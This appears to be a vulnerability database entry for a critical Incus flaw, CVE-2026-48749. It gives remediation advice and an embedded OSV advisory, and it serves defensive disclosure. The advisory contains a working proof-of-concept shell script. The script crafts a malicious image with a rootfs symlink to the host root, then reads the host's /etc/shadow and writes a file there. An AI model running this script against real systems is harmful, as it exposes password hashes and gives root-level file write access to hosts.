CVE-2026-48749: Github.com/lxc/incus/v7/cmd/incusd Incus Has An Arbitrary File Vulnerability
CRITICALCVE-2026-48749 is a CRITICAL (CVSS 9.9) incus has an arbitrary file vulnerability (CWE-73: External Control of File Name or Path) affecting Github.com/lxc/incus/v7/cmd/incusd libraries in the Go ecosystem. The issue involves incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image. Remediation is available by upgrading affected packages to version 7.2.0.
CVE-2026-48749 at a Glance
Security Impact
CVSS: 9.9
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-48749
To remediate this vulnerability, upgrade all affected Github.com/lxc/incus/v7/cmd/incusd dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/lxc/incus/v7/cmd/incusd to 7.2.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/lxc/incus/v7/cmd/incusd
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-48749, inspect your project dependencies for Github.com/lxc/incus/v7/cmd/incusd:
inspect dependencies for github.com/lxc/incus/v7/cmd/incusd
Analyze the terminal output to locate any version of Github.com/lxc/incus/v7/cmd/incusd in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.2.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Github.com/lxc/incus/v7/cmd/incusd, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-48749 Affected Github.com/lxc/incus/v7/cmd/incusd Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/lxc/incus/v7/cmd/incusd
|
Go |
< 7.2.0
|
7.2.0
|
References
Frequently Asked Questions
What is CVE-2026-48749?
Which Github.com/lxc/incus/v7/cmd/incusd versions are affected?
What version fixes CVE-2026-48749?
Is github.com/lxc/incus/v7/cmd/incusd affected?
What is the CVSS score of CVE-2026-48749?
What CWE is associated with CVE-2026-48749?
How can I check Go dependencies for CVE-2026-48749?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-2q3f-q5pq-g8wv",
"modified" : "2026-06-26T18:31:21Z",
"published" : "2026-06-26T18:31:21Z",
"aliases" : [ "CVE-2026-48749" ],
"summary" : "Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image",
"details" : "### Summary\n\nA specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nIncus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it.\n\n```\nmetadata.yaml\nrootfs/\nrootfs -> /\n```\n\nIn practice, this allows a malicious actor to access the host's filesystem with root privileges.\n\n\n### PoC\n\nBelow, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\ncat<<__EOF__>\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n description: PoC rootfs symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar\n\n# inject rootfs symlink\nrmdir rootfs\nln -s / rootfs\ntar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs\n\n\nincus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink\nincus init afrw-rootfs-symlink afrw-rootfs-symlink\n\n\n# read\nincus file pull afrw-rootfs-symlink/etc/shadow \"${tmpdir}/shadow\"\ncat \"${tmpdir}/shadow\"\n\n# write\nprintf 'afrw-rootfs-symlink\\n' >\"${tmpdir}/afrw-rootfs-symlink\"\nincus file push \"${tmpdir}/afrw-rootfs-symlink\" afrw-rootfs-symlink/\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/lxc/incus/v7/cmd/incusd"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "7.2.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/lxc/incus"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-73" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-26T18:31:21Z",
"nvd_published_at" : null
}
}